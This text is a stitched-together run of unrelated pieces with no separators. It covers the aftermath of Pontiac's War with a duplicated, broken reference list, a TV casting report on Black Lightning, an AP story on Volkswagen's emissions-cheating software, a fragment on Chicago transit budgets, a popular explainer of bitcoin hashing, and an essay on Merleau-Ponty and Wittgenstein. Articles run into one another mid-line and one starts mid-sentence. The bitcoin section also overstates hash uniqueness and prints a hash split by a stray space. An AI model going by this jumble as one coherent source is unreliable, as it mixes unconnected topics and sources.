Relations between British colonists and Native Americans, which had been severely strained during the French and Indian War, reached a new low during Pontiac's Rebellion.[102] According to historian David Dixon, "Pontiac's War was unprecedented for its awful violence, as both sides seemed intoxicated with genocidal fanaticism."[103] Historian Daniel Richter characterizes the Native attempt to drive out the British, and the effort of the Paxton Boys to eliminate Native Americans from their midst, as parallel examples of ethnic cleansing.[104] People on both sides of the conflict had come to the conclusion that colonists and Native Americans were inherently different and could not live with each other. According to Richter, the war saw the emergence of "the novel idea that all Native people were 'Indians,' that all Euro-Americans were 'Whites,' and that all on one side must unite to destroy the other."[105]
The British government also came to the conclusion that colonists and Native Americans must be kept apart. On October 7, 1763, the Crown issued the Royal Proclamation of 1763, an effort to reorganize British North America after the Treaty of Paris. The Proclamation, already in the works when Pontiac's War erupted, was hurriedly issued after news of the uprising reached London. Officials drew a boundary line between the British colonies along the seaboard, and Native American lands west of the Allegheny Ridge (i.e., the Eastern Divide), creating a vast 'Indian Reserve' that stretched from the Alleghenies to the Mississippi River and from Florida to Quebec. It thus confirmed the antebellum demarcation that had been set by the Treaty of Easton in 1758. By forbidding colonists from trespassing on Native lands, the British government hoped to avoid more conflicts like Pontiac's Rebellion. "The Royal Proclamation," writes historian Colin Calloway, "reflected the notion that segregation not interaction should characterize Indian-white relations."[106]
The effects of Pontiac's War were long-lasting. Because the Proclamation officially recognized that indigenous people had certain rights to the lands they occupied, it has been called the Native Americans' "Bill of Rights", and still informs the relationship between the Canadian government and First Nations.[107] For British colonists and land speculators, however, the Proclamation seemed to deny them the fruits of victory—western lands—that had been won in the war with France. The resentment which this created undermined colonial attachment to the Empire, contributing to the coming of the American Revolution.[108] According to Colin Calloway, "Pontiac's Revolt was not the last American war for independence—American colonists launched a rather more successful effort a dozen years later, prompted in part by the measures the British government took to try to prevent another war like Pontiac's."[109]
For Native Americans, Pontiac's War demonstrated the possibilities of pan-tribal cooperation in resisting Anglo-American colonial expansion. Although the conflict divided tribes and villages,[110] the war also saw the first extensive multi-tribal resistance to European colonization in North America, and was the first war between Europeans and Native North Americans that did not end in complete defeat for the Native Americans.[111] The Proclamation of 1763 ultimately did not prevent British colonists and land speculators from expanding westward, and so Native Americans found it necessary to form new resistance movements. Beginning with conferences hosted by Shawnees in 1767, in the following decades leaders such as Joseph Brant, Alexander McGillivray, Blue Jacket, and Tecumseh would attempt to forge confederacies that would revive the resistance efforts of Pontiac's War.[112]
See also [ edit ]
Notes [ edit ]
References [ edit ]
Anderson, Fred. Crucible of War: The Seven Years' War and the Fate of Empire in British North America, 1754–1766. New York: Knopf, 2000. ISBN 0-375-40642-5. (discussion)
. New York: Knopf, 2000. ISBN 0-375-40642-5. (discussion) Calloway, Colin. The Scratch of a Pen: 1763 and the Transformation of North America. Oxford University Press, 2006. ISBN 0-19-530071-8.
. Oxford University Press, 2006. ISBN 0-19-530071-8. Dixon, David. Never Come to Peace Again: Pontiac's Uprising and the Fate of the British Empire in North America. Norman: University of Oklahoma Press, 2005. ISBN 0-8061-3656-1.
. Norman: University of Oklahoma Press, 2005. ISBN 0-8061-3656-1. Dowd, Gregory Evans. A Spirited Resistance: The North American Indian Struggle for Unity, 1745–1815. Baltimore: Johns Hopkins University Press, 1992. ISBN 0-8018-4609-9.
. Baltimore: Johns Hopkins University Press, 1992. ISBN 0-8018-4609-9. Dowd, Gregory Evans. War under Heaven: Pontiac, the Indian Nations, & the British Empire. Baltimore: Johns Hopkins University Press, 2002. ISBN 0-8018-7079-8, ISBN 0-8018-7892-6 (paperback). (review)
. Baltimore: Johns Hopkins University Press, 2002. ISBN 0-8018-7079-8, ISBN 0-8018-7892-6 (paperback). (review) Grenier, John. The First Way of War: American War Making on the Frontier, 1607–1814. Cambridge University Press, 2005. ISBN 0-521-84566-1.
. Cambridge University Press, 2005. ISBN 0-521-84566-1. Hinderaker, Eric. Elusive Empires: Constructing Colonialism in the Ohio Valley, 1763–1800. Cambridge University Press, 1997. ISBN 0-521-66345-8.
Cambridge University Press, 1997. ISBN 0-521-66345-8. Jacobs, Wilbur R. "Pontiac's War—A Conspiracy?" in Dispossessing the American Indian: Indians and Whites on the Colonial Frontier, 83–93. New York: Scribners, 1972.
, 83–93. New York: Scribners, 1972. Jennings, Francis. Empire of Fortune: Crowns, Colonies, and Tribes in the Seven Years War in America. New York: Norton, 1988. ISBN 0-393-30640-2.
. New York: Norton, 1988. ISBN 0-393-30640-2. McConnell, Michael N. A Country Between: The Upper Ohio Valley and Its Peoples, 1724–1774. Lincoln: University of Nebraska Press, 1992. ISBN 0-8032-8238-9. (review)
. Lincoln: University of Nebraska Press, 1992. ISBN 0-8032-8238-9. (review) McConnell, Michael N. "Introduction to the Bison Book Edition" of The Conspiracy of Pontiac by Francis Parkman. Lincoln: University of Nebraska Press, 1994. ISBN 0-8032-8733-X.
by Francis Parkman. Lincoln: University of Nebraska Press, 1994. ISBN 0-8032-8733-X. Middleton, Richard. Pontiac's War: Its Causes, Course, and Consequences (New York, Routledge, 2007). ISBN 0-415-97913-7
(New York, Routledge, 2007). ISBN 0-415-97913-7 Middleton, Richard, "Pontiac: Local Warrior or Pan Indian Leader?" Michigan Historical Review, vol. 32 (2006), 1–32
Miller, J.R.. Compact, Contract, Covenant: Aboriginal Treaty-Making in Canada. Toronto: University of Toronto Press, 2009.
. Toronto: University of Toronto Press, 2009. Nester, William R. "Haughty Conquerors": Amherst and the Great Indian Uprising of 1763. Westport, Connecticut: Praeger, 2000. ISBN 0-275-96770-0. A narrative history based mostly on previously published sources, Gregory Dowd writes that "Nester pays little attention to archival sources, sources in French, ethnography, and the past two decades of scholarship on Native American history" (Dowd, War under Heaven, 283n9).
. Westport, Connecticut: Praeger, 2000. ISBN 0-275-96770-0. A narrative history based mostly on previously published sources, Gregory Dowd writes that "Nester pays little attention to archival sources, sources in French, ethnography, and the past two decades of scholarship on Native American history" (Dowd,, 283n9). Parkman, Francis. The Conspiracy of Pontiac and the Indian War after the Conquest of Canada. 2 volumes. Originally published Boston, 1851; revised 1870. Reprinted often, including Bison book edition: ISBN 0-8032-8733-X (vol 1); ISBN 0-8032-8737-2 (vol 2). Parkman's landmark work, though still influential, has largely been supplanted by modern scholarship.
. 2 volumes. Originally published Boston, 1851; revised 1870. Reprinted often, including Bison book edition: ISBN 0-8032-8733-X (vol 1); ISBN 0-8032-8737-2 (vol 2). Parkman's landmark work, though still influential, has largely been supplanted by modern scholarship. Peckham, Howard H. Pontiac and the Indian Uprising. University of Chicago Press, 1947. ISBN 0-8143-2469-X.
. University of Chicago Press, 1947. ISBN 0-8143-2469-X. Ray, Arthur J. I Have Lived Here Since the World Began: An Illustrated History of Canada's Native People. Toronto: Key Porter, 1996.
. Toronto: Key Porter, 1996. Richter, Daniel K. Facing East from Indian Country: A Native History of Early America. Cambridge, Massachusetts: Harvard University Press, 2001. ISBN 0-674-00638-0. (review)
. Cambridge, Massachusetts: Harvard University Press, 2001. ISBN 0-674-00638-0. (review) Stagg, Jack. Anglo-Indian Relations in North-America to 1763 and an Analysis of the Royal Proclamation of 7 October 1763. Ottawa: Indian and Northern Development, 1981.
. Ottawa: Indian and Northern Development, 1981. Steele, Ian K. Warpaths: Invasions of North America. New York: Oxford University Press, 1994. ISBN 0-19-508223-0.
. New York: Oxford University Press, 1994. ISBN 0-19-508223-0. Ward, Matthew C. "The Microbes of War: The British Army and Epidemic Disease among the Ohio Indians, 1758–1765". In David Curtis Skaggs and Larry L. Nelson, eds., The Sixty Years' War for the Great Lakes, 1754–1814, 63–78. East Lansing: Michigan State University Press, 2001. ISBN 0-87013-569-4.
, 63–78. East Lansing: Michigan State University Press, 2001. ISBN 0-87013-569-4. White, Richard. The Middle Ground: Indians, Empires, and Republics in the Great Lakes Region, 1650–1815. Cambridge University Press, 1991. ISBN 0-521-42460-7. (info)
Further reading [ edit ]The actor will return to the network two years after wrapping 'Hart of Dixie.'
The CW has found its Black Lightning hero in a familiar face.
Hart of Dixie alum Cress Williams will return to the network with the starring role in Greg Berlanti's latest DC Comics drama Black Lightning, The Hollywood Reporter has learned.
The drama, originally developed at Fox but ordered to pilot at CW, revolves around Jefferson Pierce (Williams), who made a choice to hang up his suit and his secret identity years ago, but with a daughter hell-bent on justice and a star student being recruited by a local gang, he’ll be pulled back into the fight as the wanted vigilante and DC legend — Black Lightning.
The drama is based on the DC Character Black Lightning created by Tony Isabella with Trevor Von Eeden.
The Game duo Salim Akil and Mara Brock Akil will pen the script and exec produce the drama alongside Greg Berlanti and his Warner Bros. Television-based Berlanti Productions topper Sarah Schechter.
For Williams, repped by APA and manager Sinclair Jones, the role brings the actor back to The CW two years after Hart of Dixie wrapped its four-season run. His credits include Code Black, Friday Night Lights, Prison Break, ER, Close to Home and Nash Bridges. He becomes the latest star to take on an iconic DC Comics character for The CW and joins Stephen Amell (Arrow), Grant Gustin (The Flash) and Melissa Benoist (Supergirl), among others.
Keep track of the latest news and castings at THR.com/PilotSeason and bookmark THR's handy guide.Volkswagen AG's smog-test scandal escalated Tuesday as the company acknowledged putting stealth software in millions of vehicles worldwide. The crisis has already cost VW more than 24 billion euros ($26 billion) in market value.
The world's top-selling carmaker now admits that 11 million of its diesel vehicles contain software that evades emissions controls, far more than the 482,000 cars identified by the U.S. Environmental Protection Agency as violating clean air laws.
Volkswagen set aside an initial 6.5 billion euros ($7.3 billion) to cover the fallout and "win back the trust" of customers. It also said this year's profit projections will change, and warned that future costs remain undetermined.
CEO Martin Winterkorn apologized for the deception under his leadership and pledged a fast and thorough investigation, but gave no indication that he might resign. Meanwhile, Volkswagen's ordinary shares fell another 20 percent Tuesday, to close at 111.20 euros.
"Millions of people across the world trust our brands, our cars and our technologies," Winterkorn said Tuesday in a video message. "I am endlessly sorry that we have disappointed this trust. I apologize in every way to our customers, to authorities and the whole public for the wrongdoing."
"We are asking, I am asking for your trust on our way forward," he said.
That may be a tall order for people who bought "clean diesel" VWs believing they could get peppy rides but still be environmentally friendly.
"I thought I was doing something good and not something bad," said Zandy Hartig, an actress in Los Angeles who bought a diesel-powered Jetta Sportswagen in 2013.
She plans to get it repaired, but says she'll never buy a Volkswagen again. "It's not a design flaw. It's deliberately manipulating the system, and it's quite evil," Hartig said.
VW has yet to explain who installed the software, under what direction, and why.
"I do not have the answers to all the questions at this point myself, but we are in the process of clearing up the background relentlessly," Winterkorn said.
The EPA said Friday that VW faces potential fines of $37,500 per vehicle, and that anyone found personally responsible is subject to $3,750 per violation.
In theory, the penalties could total $18 billion or more, although companies rarely pay maximum fines in the U.S.
"I don't think this is a life-threatening event, but it's clear it's going to be very expensive," said Christian Stadler, who teaches strategic management at the Warwick Business School.
Volkswagen blamed unrelated issues for more than a year while the EPA and California regulators asked why its cars were running much dirtier on the road. The agencies refused to approve 2016 models without an answer.
The embattled CEO of Europe's biggest carmaker Volkswagen, Martin Winterkorn, says he will not step down and apologizes for the diesel emission scandal. Sept. 22 (Reuters) The embattled CEO of Europe's biggest carmaker Volkswagen, Martin Winterkorn, says he will not step down and apologizes for the diesel emission scandal. Sept. 22 (Reuters) SEE MORE VIDEOS
Only then did VW acknowledge that software switches its engines to a cleaner mode during official emissions testing. The "defeat device" then switches off again, giving the cars more power while emitting as much as 40 times the legal pollution limit during actual driving, the EPA said.
"Let's be clear about this. Our company was dishonest. With the EPA, and the California Air Resources Board, and with all of you. And in my German words, we have totally screwed up," the head of Volkswagen's U.S. division, Michael Horn, said Monday while unveiling a new Passat model in New York.
Across the sector, investors wondered how far this scandal could grow. Germany's Daimler AG, the maker of Mercedes-Benz cars, was down 7 percent Tuesday, while BMW AG fell 6 percent. France's Renault SA was 7.1 percent lower.
"Brands are all about trust and it takes years and years to develop. But in the space of 24 hours, Volkswagen has gone from one people could trust to one people don't know what to think of," said Nigel Currie, an independent U.K.-based branding consultant.
Volkswagen's stock plunged again Tuesday after the company said similar "discrepancies" in Type EA 189 engines involve some 11 million vehicles worldwide — more than the 10 million or so cars it sold last year.
It also said new vehicles with EU 6 diesel engines currently on sale in the European Union comply with legal requirements and environmental standards.
The company hasn't revealed the results of internal investigations, beyond announcing the much wider impact on Tuesday.
"I hope that the facts will be put on the table as quickly as possible," German Chancellor Angela Merkel said in Berlin.
It may already be too late for people like Peggy Schaeffer, a librarian from Durham, North Carolina, who bought her diesel Jetta Sportwagen in 2010. She had liked Volkswagens, and "until this week, I was completely happy with it," she said.
Now, she's dismayed to know that during a recent cross-country trip, she was "polluting all the way." And if Volkswagen's eventual repair diminishes her car's sportiness or fuel efficiency, she's not sure she wants it.
"I really feel like I've been had. I've been hoodwinked. This is deliberate fraud and deceit," she said.
Winterkorn became CEO in 2007. The software was installed starting with 2009 models. He was looking forward to getting a two-year contract extension, keeping him in charge through 2018, at the company's regular board meeting Friday. Some board members reportedly planned a crisis meeting Wednesday.
Other authorities looking into VW's actions include Germany, where the transport minister announced a commission of inquiry to determine whether VW's diesel vehicles comply with German and European rules; the French government, which demanded that its automakers "ensure that no such actions are taking place in France," the South Korean government and the European Commission. The U.S. Justice Department is involved, and New York's attorney general also announced a multi-state investigation on Tuesday.
Associated Press |
year by raising the pass prices and cutting costs. Officials said this year's budget will be balanced by December.
The agency’s proposed 2014 budget continues a $4 billion capital-improvement plan to rehab rail stations, purchase new rail cars and buses and work toward bringing the transit agency’s aged infrastructure to a state of good repair, officials said. The CTA has unfunded capital needs of more than $7 billion.
CTA President Forrest Claypool took credit for the major strides the agency has made under his leadership, including paring down what in 2011 was a $308 million deficit.
“CTA remains on strong financial footing even as the agency is chronically underfunded by the state each year,” Claypool said Friday.
Major CTA modernization initiatives include the $425 million track-replacement project on the Dan Ryan branch of the Red Line, which is scheduled to wrap up Sunday.
The CTA will begin construction next year on a new 95th Street terminal on the Red Line at a cost of $240 million. Work will also begin to rebuild the Wilson Red Line station in the Uptown neighborhood. The project is budgeted at $203 million.
A public hearing on the 2014 CTA budget is set for 6 p.m. Nov. 12 at CTA headquarters, 567 W. Lake St., Chicago.
Metra’s proposed budget totals $935.9 million, including $728.6 million for operations and $207.3 million for capital needs. That is up 1.7 percent over 2013. Officials said the increase reflects projected price increases for labor, benefits and other day-to-day costs.
Projected 2014 revenues are expected to be down 1.9 percent from last year. This includes an $8.5 million decrease in fare revenue to compensate for an overestimate of revenue in 2013, officials said.
Metra’s budget for capital needs will rise 34 percent over 2013 chiefly because of an infusion of $45 million from a bond program initiated by the Regional Transportation Authority.
Metra estimates a funding gap of $7 billion over the next eight years for capital needs.
To build revenue, Metra must focus on building ridership among so-called “reverse commuters” who take trains from their homes in the city to jobs in the suburbs, and attracting more off-peak riders, board member Norman Carlson said.
Metra has scheduled eight public hearings for Nov. 6 and 7 on its budget at locations in Chicago, suburban Cook County and each of the collar counties.
Pace will hold 13 budget public hearings throughout the six-county region through the end of October, and these will be combined with hearings to discuss proposed fare policy changes tied to the suburban bus agency’s transition to Ventra.
jhilkevitch@tribune.com
Twitter @jhilkevitchThe way we spend money is changing with electronic transactions and new alternative currencies like bitcoin, but security is important—and mathematics and massive amounts of computing power are central to that, as Dr Karl Kruszelnicki explains.
The world is changing, and the way we do business is on the move. Last time, I spoke about how a strange one-way mathematics is essential to the virtual currency called bitcoin. It's also essential to the 'blockchain'—the open, transparent and unchangeable record (or ledger) of every bitcoin transaction.
The Bitcoin network uses as much electricity as it takes to run two Large Hadron Colliders at full power.
This strange one-way mathematics is essential to the 'hash function'—which in turn is essential to the blockchain. The 'hash function' has nothing to do with hashtag (as on Twitter), or hashish (the drug). It gets its name from cooking, as 'hash' meaning to 'chop and mix'. A hash function will chop the input, and then mix it up, following a whole bunch of crazy mathematical rules, to give an output. The hash function that the bitcoin network currently uses is called SHA-256. The output, a unique chain of letters and numbers is called a hash value, or a hash code, or a hash sum, or simply, 'hash'.
Now here's some strange properties of the hash function.
First, the same input always gives the same output (or hash). Second, two different inputs can't generate the same hash.
Third, you can feed into a hash function any number of characters—either a single letter or number, or the 44 million words in the Encyclopaedia Britannica. Regardless, you will always get a hash with the same amount of letters and numbers—64 of them.
(Try it out here. The letter 'c' turns into the hash of '2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1 a25aefc6'.)
Each time you apply SHA-256 to the Encyclopaedia Britannica, you will get exactly the same hash. But change one single letter in just one of those 44 million words, and the resulting hash is completely different.
Now remember our one-way mathematics, and our 1,000-digit number with only two factors? You cannot go backwards. When you look at a hash, you have no idea if the input was a single letter, or the entire Encyclopaedia Britannica.
The only way to solve a hash function is the brute force method. Guess some characters, see if they give you the right answer, and if they don't—repeat, millions, billions and trillions of guesses.
This happens around the world in the 10-minute refresh cycle of the bitcoin ledger/blockchain.
So hopefully, you have enough background information to understand bitcoin, and the blockchain.
Related: Let's not get too excited about Blockchain
First, thanks to public key infrastructure, you proclaim that you intend to spend some bitcoins—and, also, where the bitcoins came from. Your transaction is added to other transactions, in the 10-minute cycle. You make a hash of that 10-minute block of transactions—and send it out on the bitcoin network.
Second, everybody on the bitcoin network receives your block, and makes a hash of it. Separately, they retrieve the last block on the blockchain—and make a hash of that as well. (Now that last block on the blockchain contains all the information of the block before it—and so on, all the way back to the very first block generated back in 2009. That why it's called a blockchain.) They get that last block on the blockchain, and make a 64-character hash of it.
Third, they combine the two hashes together—that is, the hash of your transaction block and the hash of the last block on the blockchain. They make another hash of those two hashes.
And here's the hard, and last, part. They have to guess a special number called a 'nonce'. A nonce is a bunch of letters and numbers. They combine their previous hash with the nonce, and generate their last hash.
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To make the blockchain network more difficult to crack, the rule is that his hash has to have a certain number of zeros at the front. Somewhere inside the bitcoin network, a computer has to find the correct nonce within 10 minutes—because there's another block of transactions coming down in the next 10 minutes. The person who guesses the nonce get paid in bitcoins.
They need a huge amount of computing power to do this. In fact, the total computing power of the bitcoin network is at least several hundred times greater than all the top 500 supercomputers on Earth put together.
The bitcoin network uses as much electricity as it takes to run two Large Hadron Colliders at full power. Unless somebody can grab that much computing and electrical power, the bitcoin network and the blockchain are safe from being cracked.
On one hand, bitcoin is at most a very marginal aspect of the world's financial system.
On the other hand, financial institutions around the world are looking at using less energy-hungry versions of the blockchain to run transactions between small groups of merchants. In January 2016, the global financial elite at the annual World Economic Forum in Davos in Switzerland waxed enthusiastically and optimistically about future applications of blockchain.
The chief scientific adviser to the UK government wrote that 'distributed ledger technologies have the potential to help governments to collect taxes, deliver benefits, issue passports, record land registries, assure the supply chain of goods and generally ensure the integrity of government records and services'.
The blockchain could also be used to set up tamper-proof voting.
There's a lot here to get your head around. Blockchain technology is not for blockheads—but is a bitcoin ample reward for your efforts? I like my coins whole.by Carl Pierer
Perception lies at the heart of our everyday life. Both Merleau-Ponty and Wittgenstein have derived radical philosophical results from paying close attention to the structures of our perception. This essay attempts to illustrate a deep affinity between the two thinkers: not only do both discover a common dualistic ontology underlying their opponents' view, but they also face similar difficulties in trying to overcome this dualism. While Merleau-Ponty's project in the Phenomenology of Perception remains unfinished, it is Wittgenstein's radical conception of the philosophical project that allows him to truly subvert the dualism.
Merleau-Ponty's analysis uncovers aspects of perception that are inherently paradoxical for empiricism and intellectualism: “Thus there is a paradox of immanence and transcendence in perception. Immanence, because the perceived object cannot be foreign to him who perceives; transcendence, because it always contains something more than what is actually given.” (Merleau-Ponty 1964, p. 16)
Empiricism claims that all knowledge is derived from experience. Experience is grounded in the sphere of transcendence: the external world, things in themselves, objects. For empiricism, there is a direct input from this sphere, an atomic ‘sensation', and the richness of perception is constituted of such atomic ‘sensations'. However, as Merleau-Ponty shows, this ignores the fact that perception is always already meaningful: “To perceive is not to experience a multitude of impressions that bring along with them some memories capable of completing them, it is to see an immanent sense bursting forth from a constellation of givens without which no call to memory is possible.” (Merleau-Ponty 2014, p.23)
In this way, immanence, i.e. interiority, consciousness, and subjectivity, becomes an issue for empiricism: if the perceived object is not to some extent familiar in advance, in other words, not already meaningful for us, there is no point at which the richness and meaning of perception could be constituted. This thought is developed and motivated in great detail in the early chapters of the Phenomenology.
Intellectualism, in contrast, begins from the sphere of immanence. Consciousness imposes certain structures on our experience to organise it into a meaningful perception. However, this renders error inconceivable: “But if we see what we judge, how can we distinguish true perception from false perception?” (Ibid. p.36) The world would be perfectly clear and meaningful for us, without mistake or flaw since any experience would have to conform our organising structures. Because there are ambiguities in perception, intellectualism thus faces the problem that there is always something more to perception than what is given in the immediate sphere of immanence. It always contains a transcendent aspect. In other words, if the perceived object is already perfectly familiar in advance, then there could be nothing that escapes our perception.
This immanence-transcendence paradox, reminiscent of Meno's paradox[1], arises from both views' commitment to a fundamental partition of existence into a sphere of transcendence and one of immanence. It is a properly mathematical partition, meaning that everything that is has to belong to one and only one of the spheres. This commitment prevents a satisfactory account of the phenomenon of perception[2]. For, if any phenomenon has to belong to either sphere but not to both, then perception, which bridges the two, remains ambiguous, if not unconceivable. Yet, if indeed perception manages to bridge the two, then there is something which belongs to both/neither side/s of the dichotomy, thus showing that the dichotomy is not exhaustive. Moreover, because for Merleau-Ponty any inquiry is grounded in perception[3], the dichotomy cannot be fundamental.
Instead there is something prefiguring the dichotomy: Attention to perception reveals the body to be always implicated in perception. The body, as that through which we perceive the world, is always already there. In other words, it is the ‘primordial habit'[4]. Pre-reflectively, the body is neither an object nor a subject for us. It only becomes an object, if attention is focused on it[5].
Thus, Merleau-Ponty's analysis has revealed a common ontological dichotomy underlying empiricism and intellectualism. Perception's paradoxical air is owed to this dichotomy. His discovery of the body as implicated in perception does not only lead to a different, non-paradoxical theory of perception, but to a much more radical ontological claim: that the transcendence-immanence dichotomy is not fundamental, but derived from a primordial unity, which is exemplified in our relation to our body.
*
Wittgenstein's treatment of ‘seeing-as' parallels the previous line of argument. Departing, like Merleau-Ponty, from a serious consideration of Gestalt psychology's findings, Wittgenstein gives a careful analysis of the phenomenon of Gestalt shift.
For Wittgenstein, noticing an aspect means to begin to see the picture in a different way, such that the picture is radically transformed[6]. The prime example is that of the duck-rabbit: while initially I might see a duck, when I continue to look at the picture, suddenly I see the rabbit. While the picture itself, and also the visual organisation, remains unchanged, something in my perception of it has changed – now, I am seeing it as a rabbit[7]. Although parallels can be drawn here with Merleau-Ponty's analysis of the difficulties empiricism and intellectualism face in coping with visual illusions[8], it is more illustrative to follow Mulhall's (1990) lead and understand Wittgenstein's interest to lie in a much broader issue.
The notion of aspect-dawning opens up space for a third term, sitting in between aspect-dawning and knowing: “the ‘continuous seeing' of an aspect”. Wittgenstein gives the example of the drawing of a step, used for some ‘topological demonstration'[9]. To follow the demonstration it is necessary to see the step, that is to hold this perception fixed without constantly finding “(…) that the flat aspect alternates with a three-dimensional one (…)” (Wittgenstein 1953, p. 203). In continuous aspect perception, it does not make sense to talk of seeing it as something else[10]. It is precisely the continuity of the aspect perception that makes this impossible. Seeing something as something else requires a genuine change, the dawning of an aspect, while in the continuous case the picture simply is the aspect being perceived:
“Perhaps the following expression would be better: we regard the photograph, the picture on our wall, as the object itself (the man, the landscape, and so on) depicted there.” (Wittgenstein 1953, p. 205)
Wittgenstein's claim here does not confuse levels of representation: we do not forget that the photograph stands for the object, but to continuously perceive it as a picture of the object we regard it as the object itself. The ‘continuous seeing' of an aspect reveals a special relationship we have to the picture. It is our natural attitude to the picture. If I see a painting of a landscape, I do not say: “Now it's a landscape”, as I would if the aspect dawned on me. Nor do I first see these lines, their angle and colour, and then infer that they are a painting of a landscape. This would be an interpretative stance, characteristic of knowledge. Hence, seeing a painting is something immediate, neither the dawning of an aspect nor knowing what the picture represents.
It would be mistaken to confine this treatment to the realm of visual perception. Rather: “Once it is established that aspect perception is at stake with respect to pictures and schematic figures, the question of whether the same can be said of specifically linguistic symbols (words and sentences uttered or written) arises immediately (…)” (Mulhall 1990, p. 127) For Mulhall, Wittgenstein answers this question affirmatively. The details of this transfer are revealing, but beyond the scope of this essay. Suffice to say that for Wittgenstein, aspect perception is universal.
This in turn means that the special relation of continuous aspect perception which we have to pictures, is but a special instance of a more general special relation we have to the world. This relation is one of immediacy, one that is always already meaningful. Noticing ‘objects' is the dawning of an aspect of the thing that we simply use:
“It would have made as little sense for me to say “Now I am seeing it as (…)” as to say at the sight of a knife and fork “Now I am seeing this as a knife and fork”. This expression would not be understood. – Any more than: “Now it's a fork” or “It can be a fork too”.” (Wittgenstein 1953, p. 195)
Conversely, Wittgenstein argues that there is no need for aspect-dawning for a thing in the world to be meaningful:
“One doesn't ‘take' what one knows as the cutlery at a meal for cutlery; any more than one ordinarily tries to move one's mouth as one eats, or aims at moving it.” (Ibid.)
There is thus an already meaningful relationship we have to the world, which, as we have seen, empiricism cannot account for. At the same time, the fact that there is aspect-dawning illustrates a change in perception, which remained a mystery for intellectualism. It thus transpires that the immanence-transcendence dualism is not in line with our everyday experience of the world. Instead, our experience suggest a primordial relation to the world that prefigures the dualism. It is here that the affinity of Merleau-Ponty's and Wittgenstein's thought is at its most profound.
The phenomenon of seeing-as demonstrates the unity of seeing and thinking. As we have seen, this idea is also at the heart of Merleau-Ponty's philosophy[11]. This insight reveals the transcendence-immanence paradox to belong entirely to the sphere of philosophical thought, for pre-reflectively, in our being in the world, there is a unity which goes beyond the transcendence-immanence dichotomy.
*
For Merleau-Ponty, our perception of the world figures a body we inhabit, a ground that lets us perceive. This body, then, is conceived as the middle ground between transcendence and immanence. It prefigures the dualism, because it is that through which there is a world for us. It allows us to bridge the unbridgeable gap between immanence and transcendence, precisely because it is antecedent to the dualistic picture.
The difficulty for Merleau-Ponty, then, is to account for the body's ontological precedence while avoiding the initial dualism. In his later works, Merleau-Ponty criticised his account in the Phenomenology as still too committed to the dualistic picture. The characterisation of the body given there takes consciousness as a prerequisite for our being in the world. This, however, could never explain how events in the sphere of transcendence can have a devastating effect in the sphere of immanence[12].
More problematically still, if the ‘objective' body is constituted by and grounded in the ‘phenomenal' body[13], then the latter remains wedded to the dualism. For, the ‘objective' body, as part of the sphere of transcendence, is thereby reduced to an epiphenomenon of the ‘phenomenal' body, which belongs to the sphere of immanence. The dualism is simply reiterated at a higher level.
It thus seems necessary to show how the body can be both at the same time transcendent and immanent, that is, how these two concepts are woven into each other. This is Merleau-Ponty's project in his later philosophy. However, its treatment lies beyond the scope of this essay. The important insight of this section is that to overcome the dualism, Merleau-Ponty is required to effect a radical change in the way he talks about the body.
It is an ongoing argument whether Merleau-Ponty's later philosophy is indeed a break, and not a continuation of the thoughts present in the Phenomenology. Perhaps it is most sensible to suggest that the later development is a more rigorous treatment of the body, aware of the difficulties arising from applying inherited, dualistic concepts to the body.
*
It is a commonplace that philosophical activity, for Wittgenstein, should not result in new and better theories. Rather, it is an activity with the aim of effecting change, and in particular a change in our way of seeing.[14]
For Wittgenstein, a (philosophical) theory is like a picture[15]. It offers us a way of looking at the world. Such pictures inform our language, and because of the close tie between language and thought, the pictures present the space in which our thought has to develop. Now, philosophical questions, for Wittgenstein, are not some ethereal eternal problems but rather informed by a certain way of seeing. Philosophers, then, mistakenly forget about these underlying structures, and begin to address the question. Thereby, these structures, the way of seeing, is tacitly incorporated as fundamental, pushed beyond the realm of discussion. A case in point is the above transcendence-immanence dichotomy.
To dissolve these problems, for Wittgenstein, the picture itself has to be changed. Since it is the picture that structures our way of thinking, and this thinking leads us into philosophical confusion, the change has to be radical. This means, as the concepts and ideas employed in our thinking are remnants of the picture we desire to overcome, thinking itself becomes problematic. Hence Wittgenstein's injunction to look, not to think[16]. For it is through attention to our experience, which prefigures the problematic philosophical picture, that this picture can be overcome.
The parallels with Merleau-Ponty's difficulties are striking: as was suggested, Merleau-Ponty is caught by the polarised philosophical terminology available to him. He is required to renounce the primacy of consciousness and to show not only how ‘objective' experience can be grounded in conscious experience, but also how the converse is possible. This necessitates a drastic reversal of concepts, or put differently: a change in the way of seeing.
*
Through a careful analysis of perception, both Wittgenstein and Merleau-Ponty discovered a relation to the world that prefigures the transcendence-immanence dualism. In order to overcome this dualism, which is unfit to account for this relation, it was shown that both philosophers have found it necessary to fulfil a radical change in concepts.
***
References
BIBLIOGRAPHY Carman, T. (2008). Merleau-Ponty. London & New York: Routledge.
Dillon, M. (1997). Merleau-Ponty's Ontology. Evanston: Northwestern University Press.
Genova, J. (1995). A Way of Seeing. New York & London: Routledge.
Merleau-Ponty, M. (1964). The Primacy of Perception and Its Philosophical Consequences. In J. M. Edie, The Primacy of Perception and Other Essays on Phenomenological Psychology, the Philosophy of Art, History and Politics (pp. 12-42). Northwestern University Press.
Merleau-Ponty, M. (2014). Phenomenology of Perception. (D. A. Landes, Trans.) London: Routledge.
Mulhall, S. (1990). On Being In The World – Wittgenstein and Heidegger on Seeing Aspects. London: Routledge.
Wittgenstein, L. (1953). Philosophical Investigations. (G. Anscombe, Trans.) Oxford.
